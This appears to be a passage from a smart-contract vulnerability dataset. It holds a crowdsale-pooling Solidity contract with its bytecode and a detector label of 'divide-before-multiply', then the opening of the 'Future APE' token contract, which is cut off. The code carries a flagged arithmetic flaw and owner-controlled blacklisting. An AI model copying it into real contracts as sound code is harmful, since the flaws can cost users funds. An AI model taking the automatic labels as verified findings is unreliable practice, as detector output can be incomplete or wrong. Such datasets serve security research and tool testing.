contract_eth_value contains the correct balance uint256 dev_fee = SafeMath.div(fees, FEE_DEV); uint256 audit_fee = SafeMath.div(fees, FEE_AUDIT); owner.transfer(SafeMath.sub(SafeMath.sub(fees, dev_fee), audit_fee)); developer.transfer(dev_fee); auditor.transfer(audit_fee); //Record the amount of ETH sent as the contract&#39;s current value. contract_eth_value = this.balance; contract_eth_value_bonus = this.balance; // Transfer all the funds to the crowdsale address. sale.transfer(contract_eth_value); } function force_refund(address _to_refund) onlyOwner { require(!bought_tokens); uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99); balances[_to_refund] = 0; balances_bonus[_to_refund] = 0; fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE)); _to_refund.transfer(eth_to_withdraw); } function force_partial_refund(address _to_refund) onlyOwner { require(bought_tokens && percent_reduction > 0); //Amount to refund is the amount minus the X% of the reduction //amount_to_refund = balance*X uint256 amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100); balances[_to_refund] = SafeMath.sub(balances[_to_refund], amount); balances_bonus[_to_refund] = balances[_to_refund]; if (owner_supplied_eth) { //dev fees aren&#39;t refunded, only owner fees uint256 fee = amount.div(FEE).mul(percent_reduction).div(100); amount = amount.add(fee); } _to_refund.transfer(amount); } function set_sale_address(address _sale) onlyOwner { //Avoid mistake of putting 0x0 and can&#39;t change twice the sale address require(_sale != 0x0); sale = _sale; } function set_token_address(address _token) onlyOwner { require(_token != 0x0); token = ERC20(_token); } function set_bonus_received(bool _boolean) onlyOwner { bonus_received = _boolean; } function set_allow_refunds(bool _boolean) onlyOwner { /* In case, for some reasons, the project refunds the money */ allow_refunds = _boolean; } function set_allow_contributions(bool _boolean) onlyOwner { allow_contributions = _boolean; } function set_percent_reduction(uint256 _reduction) onlyOwner payable { require(bought_tokens && _reduction <= 100); percent_reduction = _reduction; if (msg.value > 0) { owner_supplied_eth = true; } //we substract by contract_eth_value*_reduction basically contract_eth_value = contract_eth_value.sub((contract_eth_value.mul(_reduction)).div(100)); contract_eth_value_bonus = contract_eth_value; } function change_individual_cap(uint256 _cap) onlyOwner { individual_cap = _cap; } function change_owner(address new_owner) onlyOwner { require(new_owner != 0x0); owner = new_owner; } function change_max_amount(uint256 _amount) onlyOwner { //ATTENTION! The new amount should be in wei //Use https://etherconverter.online/ max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99); } function change_min_amount(uint256 _amount) onlyOwner { //ATTENTION! The new amount should be in wei //Use https://etherconverter.online/ min_amount = _amount; } //Public functions // Allows any user to withdraw his tokens. function withdraw() { // Disallow withdraw if tokens haven&#39;t been bought yet. require(bought_tokens); uint256 contract_token_balance = token.balanceOf(address(this)); // Disallow token withdrawals if there are no tokens to withdraw. require(contract_token_balance != 0); uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value); // Update the value of tokens currently held by the contract. contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]); // Update the user&#39;s balance prior to sending to prevent recursive call. balances[msg.sender] = 0; // Send the funds. Throws on failure to prevent loss of funds. require(token.transfer(msg.sender, tokens_to_withdraw)); } function withdraw_bonus() { /* Special function to withdraw the bonus tokens after the 6 months lockup. bonus_received has to be set to true. */ require(bought_tokens && bonus_received); uint256 contract_token_balance = token.balanceOf(address(this)); require(contract_token_balance != 0); uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus); contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]); balances_bonus[msg.sender] = 0; require(token.transfer(msg.sender, tokens_to_withdraw)); } // Allows any user to get his eth refunded before the purchase is made. function refund() { require(!bought_tokens && allow_refunds && percent_reduction == 0); //balance of contributor = contribution * 0.99 //so contribution = balance/0.99 uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99); // Update the user&#39;s balance prior to sending ETH to prevent recursive call. balances[msg.sender] = 0; //Updates the balances_bonus too balances_bonus[msg.sender] = 0; //Updates the fees variable by substracting the refunded fee fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE)); // Return the user&#39;s funds. Throws on failure to prevent loss of funds. msg.sender.transfer(eth_to_withdraw); } //Allows any user to get a part of his ETH refunded, in proportion //to the % reduced of the allocation function partial_refund() { require(bought_tokens && percent_reduction > 0); //Amount to refund is the amount minus the X% of the reduction //amount_to_refund = balance*X uint256 amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100); balances[msg.sender] = SafeMath.sub(balances[msg.sender], amount); balances_bonus[msg.sender] = balances[msg.sender]; if (owner_supplied_eth) { //dev fees aren&#39;t refunded, only owner fees uint256 fee = amount.div(FEE).mul(percent_reduction).div(100); amount = amount.add(fee); } msg.sender.transfer(amount); } // Default function. Called when a user sends ETH to the contract. function () payable underMaxAmount { require(!bought_tokens && allow_contributions); //1% fee is taken on the ETH uint256 fee = SafeMath.div(msg.value, FEE); fees = SafeMath.add(fees, fee); //Updates both of the balances balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee)); //Checks if the individual cap is respected //If it&#39;s not, changes are reverted require(individual_cap == 0 || balances[msg.sender] <= individual_cap); balances_bonus[msg.sender] = balances[msg.sender]; } }
0x6060604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630107a8df146103b857806303b918dc146103cd578063111485ef146103fa57806318af7021146104235780631a34fe811461045c5780631e4532f114610485578063223db315146104d2578063253c8bd4146104ff57806327e235e31461053857806328b8e9cf1461058557806329d98a7b1461059a5780632fbfe951146105bd578063346f2eb7146105e0578063398f2648146106055780633ccfd60b146106285780633ec045a61461063d57806342263aa214610692578063590e1ae3146106cb5780636360fc3f146106e0578063666375e51461070d578063678f703314610732578063689f24561461074a5780636954abee1461075f5780636ad1fe021461078c5780637036f9d9146107e157806372a856041461081a5780638d521149146108435780638da5cb5b14610870578063a8644cd5146108c5578063c34dd141146108ee578063c42bb1e414610917578063ca4b208b14610940578063ebc56eec14610995578063f2bee03d146109ba578063fc0c546a146109f3575b60008060025414806101e257506002543073ffffffffffffffffffffffffffffffffffffffff163111155b15156101ed57600080fd5b600660009054906101000a900460ff161580156102165750600e60019054906101000a900460ff165b151561022157600080fd5b61022c346064610a48565b905061023a600b5482610a63565b600b81905550610292600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461028d3484610a81565b610a63565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060015414806103275750600154600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b151561033257600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050005b34156103c357600080fd5b6103cb610a9a565b005b34156103d857600080fd5b6103e0610d8b565b604051808215151515815260200191505060405180910390f35b341561040557600080fd5b61040d610d9e565b6040518082815260200191505060405180910390f35b341561042e57600080fd5b61045a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610da4565b005b341561046757600080fd5b61046f610f5d565b6040518082815260200191505060405180910390f35b341561049057600080fd5b6104bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f63565b6040518082815260200191505060405180910390f35b34156104dd57600080fd5b6104e5610f7b565b604051808215151515815260200191505060405180910390f35b341561050a57600080fd5b610536600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f8e565b005b341561054357600080fd5b61056f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611052565b6040518082815260200191505060405180910390f35b341561059057600080fd5b61059861106a565b005b34156105a557600080fd5b6105bb6004808035906020019091905050611394565b005b34156105c857600080fd5b6105de60048080359060200190919050506113f9565b005b34156105eb57600080fd5b6106036004808035151590602001909190505061145e565b005b341561061057600080fd5b61062660048080359060200190919050506114d6565b005b341561063357600080fd5b61063b61154f565b005b341561064857600080fd5b610650611828565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561069d57600080fd5b6106c9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611840565b005b34156106d657600080fd5b6106de611905565b005b34156106eb57600080fd5b6106f3611a88565b604051808215151515815260200191505060405180910390f35b341561071857600080fd5b61073060048080351515906020019091905050611a9b565b005b6107486004808035906020019091905050611b13565b005b341561075557600080fd5b61075d611c10565b005b341561076a57600080fd5b610772611e4e565b604051808215151515815260200191505060405180910390f35b341561079757600080fd5b61079f611e61565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107ec57600080fd5b610818600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e87565b005b341561082557600080fd5b61082d612121565b6040518082815260200191505060405180910390f35b341561084e57600080fd5b610856612127565b604051808215151515815260200191505060405180910390f35b341561087b57600080fd5b61088361213a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108d057600080fd5b6108d861215f565b6040518082815260200191505060405180910390f35b34156108f957600080fd5b610901612165565b6040518082815260200191505060405180910390f35b341561092257600080fd5b61092a61216b565b6040518082815260200191505060405180910390f35b341561094b57600080fd5b610953612171565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109a057600080fd5b6109b860048080351515906020019091905050612189565b005b34156109c557600080fd5b6109f1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612201565b005b34156109fe57600080fd5b610a066122c6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000808284811515610a5657fe5b0490508091505092915050565b6000808284019050838110151515610a7757fe5b8091505092915050565b6000828211151515610a8f57fe5b818303905092915050565b600080600660009054906101000a900460ff168015610ac55750600960009054906101000a900460ff165b1515610ad057600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610b8c57600080fd5b5af11515610b9957600080fd5b50505060405180519050915060008214151515610bb557600080fd5b610c09610c01600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846122ec565b600854610a48565b9050610c56600854600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a81565b6008819055506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610d6557600080fd5b5af11515610d7257600080fd5b505050604051805190501515610d8757600080fd5b5050565b600e60019054906101000a900460ff1681565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0157600080fd5b600660009054906101000a900460ff16151515610e1d57600080fd5b610e71610e6a600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460646122ec565b6063610a48565b90506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f13600b54610f0e836064610a48565b610a81565b600b819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610f5957600080fd5b5050565b60025481565b60056020528060005260406000206000915090505481565b600c60009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe957600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561100f57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60046020528060005260406000206000915090505481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110c857600080fd5b6110df6110d860035460646122ec565b6063610a48565b3073ffffffffffffffffffffffffffffffffffffffff16311015151561110457600080fd5b6000600254148061112e57506002543073ffffffffffffffffffffffffffffffffffffffff163111155b151561113957600080fd5b600660009054906101000a900460ff1615801561118f57506000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b151561119a57600080fd5b6001600660006101000a81548160ff0219169083151502179055506111c2600b546006610a48565b91506111d1600b54600c610a48565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61122361121d600b5486610a81565b84610a81565b9081150290604051600060405180830381858888f19350505050151561124857600080fd5b73ee06bddaffa56a303718de53a5bc347efbe4c68f73ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561129c57600080fd5b7363f7547ac277ea0b52a0b060be6af8c5904953aa73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156112f057600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16316007819055503073ffffffffffffffffffffffffffffffffffffffff1631600881905550600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6007549081150290604051600060405180830381858888f19350505050151561139057600080fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ef57600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145457600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114b957600080fd5b80600960006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561153157600080fd5b61154661153f8260646122ec565b6063610a48565b60028190555050565b600080600660009054906101000a900460ff16151561156d57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561162957600080fd5b5af1151561163657600080fd5b5050506040518051905091506000821415151561165257600080fd5b6116a661169e600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846122ec565b600754610a48565b90506116f3600754600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a81565b6007819055506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561180257600080fd5b5af1151561180f57600080fd5b50505060405180519050151561182457600080fd5b5050565b7363f7547ac277ea0b52a0b060be6af8c5904953aa81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189b57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156118c157600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660009054906101000a900460ff161580156119305750600c60009054906101000a900460ff165b801561193e57506000600d54145b151561194957600080fd5b61199d611996600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460646122ec565b6063610a48565b90506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a3f600b54611a3a836064610a48565b610a81565b600b819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611a8557600080fd5b50565b600660009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611af657600080fd5b80600e60016101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b6e57600080fd5b600660009054906101000a900460ff168015611b8b575060648111155b1515611b9657600080fd5b80600d819055506000341115611bc2576001600e60006101000a81548160ff0219169083151502179055505b611bfe611bed6064611bdf846007546122ec90919063ffffffff16565b610a4890919063ffffffff16565b600754610a8190919063ffffffff16565b60078190555060075460088190555050565b600080600660009054906101000a900460ff168015611c3157506000600d54115b1515611c3c57600080fd5b611c91611c8a600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546122ec565b6064610a48565b9150611cdc600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610a81565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900460ff1615611e0a57611df26064611de4600d54611dd6606487610a4890919063ffffffff16565b6122ec90919063ffffffff16565b610a4890919063ffffffff16565b9050611e078183610a6390919063ffffffff16565b91505b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515611e4a57600080fd5b5050565b600e60009054906101000a900460ff1681565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ee557600080fd5b600660009054906101000a900460ff168015611f0357506000600d54115b1515611f0e57600080fd5b611f63611f5c600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d546122ec565b6064610a48565b9150611fae600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610a81565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900460ff16156120dc576120c460646120b6600d546120a8606487610a4890919063ffffffff16565b6122ec90919063ffffffff16565b610a4890919063ffffffff16565b90506120d98183610a6390919063ffffffff16565b91505b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561211c57600080fd5b505050565b60035481565b600960009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600d5481565b60075481565b73ee06bddaffa56a303718de53a5bc347efbe4c68f81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121e457600080fd5b80600c60006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561225c57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561228257600080fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008414156123015760009150612320565b828402905082848281151561231257fe5b0414151561231c57fe5b8091505b50929150505600a165627a7a72305820ce7d8f9719f60d51cf16615553797a8942b3112ae5ebc30d6b31680b1bb72ca70029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,668
0x23b59942a38e987c7c15d0af41611f6637800bbf
/** *Submitted for verification at Etherscan.io on 2022-03-24 */ // SPDX-License-Identifier: Unlicensed //“A whole world populated by intelligent Ape -- I wonder what it'll be like?” - Future APE //TELEGRAM // @futureape pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract FAPE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _tTotal = 1e9 * 10**9; uint256 private constant _MAX = ~uint256(0); uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; string private constant _name = "Future APE"; string private constant _symbol = "FAPE"; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from]); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.mul(5).div(12); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; 